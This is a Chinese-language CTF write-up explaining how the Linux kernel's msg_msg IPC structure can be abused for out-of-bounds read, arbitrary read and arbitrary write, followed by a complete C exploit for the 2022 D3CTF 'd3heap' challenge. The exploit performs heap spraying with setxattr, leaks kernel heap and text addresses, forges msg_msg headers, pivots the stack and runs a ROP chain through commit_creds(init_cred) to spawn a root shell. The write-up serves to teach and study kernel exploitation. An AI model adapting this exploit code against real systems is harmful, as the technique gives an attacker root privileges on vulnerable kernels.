利用msg_msg實現任意地址讀寫
利用msg_msg實現任意地址讀寫
msgsnd和msgrcv的源碼分析
內核通過msgsnd和msgrcv來進行IPC通信。內核消息分為兩個部分，一個是消息頭msg_msg(0x30)，以及後面跟着的消息數據。整個內核消息的長度是從kmalloc-64到kmalloc-4096`。
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
msgsnd發送數據調用鏈及方法
調用鏈：通過msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg()來分配消息頭和消息的數據，接着通過load_msg() -> copy_from_user()來將用戶數據拷貝進內核。
使用方法：例如我們想要發送一個包含0x1000個'A'的消息，代碼如下：
struct msgbuf
{
long mtype;
char mtext[0x1000];
} msg;
msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));
qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);
此外如果消息長度超過0xfd0，那麼就會採取分段儲存的方式，採用單向鏈表進行連接。第一個稱作消息頭，用msg_msg結構進行儲存，第二個和第三個稱作segment，用msg_msgseg結構進行儲存。消息的最大長度由/proc/sys/kernel/msgmax確定，默認大小為8192個位元組，所以最多連接三個成員。
msgrcv接收數據的調用鏈及方法
調用鏈msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()。通過find_msg來定位消息，並將消息從隊列中unlink，再調用do_msg_fill() -> store_msg()來將消息從內核空間拷貝到用戶空間，最後調用free_msg釋放消息。
使用方法：例如我們想要接收一個包含0x1000個'A'的消息，代碼如下：
void *memdump = malloc(0x1000);
msgrcv(qid, memdump, 0x1000, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
此外值得注意的是：如果用flag:MSG_COPY來調用msgrcv()，就會調用prepare_copy()分配臨時消息，並調用copy_msg()將請求的數據拷貝到該臨時消息。在將消息拷貝到用戶空間之後，原始消息會被保留，不會從隊列中unlink，而是直接goto out_unlock0，然後調用free_msg()刪除該臨時消息，有些題目中這一點對於利用很重要。為什麼？因為有些題目漏洞在UAF的時候，沒有泄露正確地址，所以會破壞msg_msg->m_list雙鏈表指針，unlink會觸發崩潰。如果某漏洞可以跳過前16位元組，那就不需要注意這一點。
數據泄露
越界讀取數據
在拷貝數據的時候，我們對數據長度的判斷主要是依靠msg_msg->m_ts。所以我們可以想到如果我們可以控制某一個消息的msg_msg使得msg_msg->m_ts被改為一個較大的數，那麼我們就能夠實現越界讀取數據。
任意地址讀取
對於大於0xfd0的數據，內核會在msg_msg的基礎上再加上msg_msgseg結構體，形成一個單向鏈表，如果我們能夠同時控制msg_msg->m_ts及msg_msg->next，我們便可以實現任意地址讀。但是這裡需要注意的是，無論我們採用MSG_COPY還是常規消息接收，拷貝消息的主要依據還是msg_msg->next，所以為了避免遍歷消息時出現訪存崩潰，實現對特定地址以後數據的讀取，我們需使得segment的前8位元組為NULL。
任意地址寫
我們可以通過結合userfaultfd或者FUSE實現race condition。當我們在調用msgsnd 系統調用時，其會繼續調用load_msg將用戶數據拷貝到內核空間中。它會先調用alloc_msg分配msg_msg的單向鏈表，之後才會進行數據的拷貝過程。所以這裡的空間分配和數據拷貝實際上是分開進行的。故我們不難想到，在拷貝時利用userfaultfd或者FUSE將拷貝停止下來，並在子進程中篡改msg_msg->next，恢復拷貝後即可向我們篡改後的地址上寫入數據，從而實現任意地址寫。
例題：2022d3CTF-d3heap
exp：(對着arttnba3師傅的exp改了改)
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0
#define INIT_CRED 0xffffffff82c6d580
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
#define POP_RDI_RET 0xffffffff810938f0
#define SECONDARY_STARTUP_64 0xffffffff81000040
size_t user_cs, user_ss, user_sp, user_rflags;
size_t kernel_offset, kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;
int fd;
int pipe_fd, pipe_fd1[2], pipe_fd2[2];
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void add()
{
ioctl(fd, 0x1234);
}
void delete()
{
ioctl(fd, 0xdead);
}
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[+] save the state success!\033[0m\n");
}
void get_shell()
{
if (getuid() == 0)
{
printf("\033[32m\033[1m[+] get root shell !\033[0m\n");
system("/bin/sh");
//char *shell = "/bin/sh";
//char *args[] = {shell, NULL};
//execve(shell, args, NULL);
}
else
{
printf("\033[31m\033[1m[-] get shell error !\033[0m\n");
exit(0);
}
}
size_t kernelLeakQuery(size_t kernel_text_leak)
{
size_t kernel_offset = 0xdeadbeef;
switch (kernel_text_leak & 0xfff)
{
case 0x6e9:
kernel_offset = kernel_text_leak - 0xffffffff812b76e9;
break;
case 0x980:
kernel_offset = kernel_text_leak - 0xffffffff82101980;
break;
case 0x440:
kernel_offset = kernel_text_leak - 0xffffffff82e77440;
break;
case 0xde7:
kernel_offset = kernel_text_leak - 0xffffffff82411de7;
break;
case 0x4f0:
kernel_offset = kernel_text_leak - 0xffffffff817894f0;
break;
case 0xc90:
kernel_offset = kernel_text_leak - 0xffffffff833fac90;
break;
case 0x785:
kernel_offset = kernel_text_leak - 0xffffffff823c3785;
break;
case 0x990:
kernel_offset = kernel_text_leak - 0xffffffff810b2990;
break;
case 0x900:
kernel_offset = kernel_text_leak - 0xffffffff82e49900;
break;
case 0x8b4:
kernel_offset = kernel_text_leak - 0xffffffff8111b8b4;
break;
case 0xc40:
kernel_offset = kernel_text_leak - 0xffffffff8204ac40;
break;
case 0x320:
kernel_offset = kernel_text_leak - 0xffffffff8155c320;
break;
case 0xee0:
kernel_offset = kernel_text_leak - 0xffffffff810d6ee0;
break;
case 0x5e0:
kernel_offset = kernel_text_leak - 0xffffffff810e55e0;
break;
case 0xe80:
kernel_offset = kernel_text_leak - 0xffffffff82f05e80;
break;
case 0x260:
kernel_offset = kernel_text_leak - 0xffffffff82ec0260;
break;
default:
puts("[-] fill up your dict!");
break;
}
if ((kernel_offset % 0x100000) != 0)
kernel_offset = 0xdeadbeef;
return kernel_offset;
}
typedef struct
{
long mtype;
char mtext[1];
}msg;
struct list_head
{
struct list_head *next, *prev;
};
/* one msg_msg structure for each message */
struct msg_msg
{
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; /* NULL without SELinux */
/* the actual message follows immediately */
};
int main()
{
size_t *buf;
size_t kernel_heap_leak;
size_t kernel_heap_search;
size_t kernel_text_leak;
size_t page_offset_base_guess;
size_t msg_offset, msg_offset_count;
size_t fake_ops_addr, fake_ops_offset, kmsg_addr;
int kmsg_idx;
int ms_qid[0x100];
int ret;
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
save_status();
buf = (size_t*)malloc(0x4000);
memset(buf, 0, 0x4000);
fd = open("/dev/d3kheap", O_RDONLY);
if(fd < 0)
ErrExit("[-] open d3heap error");
add();
delete();
for (int i = 0; i < 5; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}
for (int i = 0; i < 5; i++)
{
memset(buf, 'A'+i, 0X1000 - 8);
ret = msgsnd(ms_qid[i], buf, 1024 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
delete();
memset(buf, 'B', 0x1000);
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 0x1000 - 0x30;
((struct msg_msg*) buf)->next = NULL;
((struct msg_msg*) buf)->security = NULL;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
ret = msgrcv(ms_qid[0], buf, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
ErrExit("[-] msgrcv error");
for (int i = 0; i < ((0x1000 - 0x30) / 8); i++)
{
printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);
if (((buf[i] & 0xffff000000000000) == 0xffff000000000000) && !kernel_heap_leak && (buf[i + 3] == (1024 - 0x30)))
{
printf("\033[32m\033[1m[+] We got heap leak! kheap: 0x%lx\033[0m\n", buf[i]);
kernel_heap_leak = buf[i];
kmsg_idx = (int)(((char*)(&buf[i + 2]))[0] - 'A');
fake_ops_offset = i * 8 + 0x30 - 8;
}
if (((buf[i] & 0xffffffff00000000) == 0xffffffff00000000) && !kernel_text_leak)
{
printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);
kernel_offset = kernelLeakQuery(buf[i]);
printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
if (kernel_offset != 0xdeadbeef)
{
kernel_text_leak = buf[i];
kernel_base += kernel_offset;
}
}
if (kernel_text_leak && kernel_heap_leak)
break;
}
if (!kernel_heap_leak)
ErrExit("\033[31m\033[1m[-] Failed to leak kernel heap!\033[0m\n");
//if (!kernel_text_leak)
// ErrExit("\033[31m\033[1m[-] Failed to leak kernel text!\033[0m\n");
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30 -8;
((struct msg_msg*) buf)->next = (void*)(kernel_heap_leak - 8); // q_messages - 8
((struct msg_msg*) buf)->security = NULL;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30 -8, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
ErrExit("[-] msgrcv error");
kmsg_addr = buf[(0x1000 - 0x30) / 8 + 1];
fake_ops_addr = kmsg_addr - fake_ops_offset;
printf("\033[32m\033[1m[+] UAF as fake ops addr at: 0x%lx, cal by msg idx: %d at addr: 0x%lx\033[0m\n", fake_ops_addr, kmsg_idx, kmsg_addr);
kernel_heap_search = kmsg_addr - 8;
for (int leaking_times = 0; !kernel_text_leak; leaking_times++)
{
printf("[*] per leaking, no.%d time(s)\n", leaking_times);
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30;
((struct msg_msg*) buf)->next = (void*)kernel_heap_search;
((struct msg_msg*) buf)->security = NULL;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
printf("[*] Now searching: 0x%lx\n", kernel_heap_search);
ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
ErrExit("[-] msgrcv error");
msg_offset_count = 0;
msg_offset = 0xdeadbeefbad4f00d;
for (int i = (0x1000 - 0x30) / 8; i < (0x2000 - 0x30) / 8; i++)
{
printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);
if ((buf[i] > 0xffffffff81000000) && (buf[i] < 0xffffffffbfffffff) && !kernel_text_leak)
{
printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);
kernel_offset = kernelLeakQuery(buf[i]);
if (kernel_offset != 0xdeadbeef)
{
kernel_text_leak = buf[i];
kernel_base += kernel_offset;
break;
}
}
if (!buf[i])
msg_offset = msg_offset_count * 8;
msg_offset_count++;
}
if (kernel_text_leak)
break;
if (msg_offset == 0xdeadbeefbad4f00d)
ErrExit("[-] Failed to find next valid foothold!");
kernel_heap_search += msg_offset;// to make the msg_msg->next == NULL, search from the last NULL
}
printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
printf("\033[32m\033[1m[+] kernel base: 0x%lx\033[0m\n", kernel_base);
((struct msg_msg*) buf)->m_list.next = (struct list_head *)kernel_heap_search; // a pointer to the heap is available, list_del (aka unlink) is easy to pass
((struct msg_msg*) buf)->m_list.prev = (struct list_head *)kernel_heap_search;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 1024 - 0x30;
((struct msg_msg*) buf)->next = NULL;
((struct msg_msg*) buf)->security = NULL;
// while the kmem_cache->offset is not 0, we can easily repair the header of msg_msg
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
ret = msgrcv(ms_qid[kmsg_idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // add a obj to pass detection in set_freepointer() in free_msg
if (ret < 0)
ErrExit("[-] msgrcv error");
ret = msgrcv(ms_qid[0], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // constructing A->B->A
if (ret < 0)
ErrExit("[-] msgrcv error");
pipe(pipe_fd1);
pipe_fd = pipe_fd1[1];
pipe(pipe_fd2);
memset(buf, 'B', 0x1000);
buf[2] = fake_ops_addr;
buf[1] = 0xffffffff812dbede + kernel_offset; // push rsi ; pop rsp ; pop 4 val ; ret
// construct ROP
int rop_idx = 4;
buf[rop_idx++] = POP_RDI_RET + kernel_offset;
buf[rop_idx++] = INIT_CRED + kernel_offset;
buf[rop_idx++] = COMMIT_CREDS + kernel_offset;
buf[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x16 + kernel_offset;
buf[rop_idx++] = 0;
buf[rop_idx++] = 0;
buf[rop_idx++] = (size_t)get_shell;
buf[rop_idx++] = user_cs;
buf[rop_idx++] = user_rflags;
buf[rop_idx++] = user_sp;
buf[rop_idx++] = user_ss;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
close(pipe_fd1[0]);
close(pipe_fd1[1]);
return 0;
}
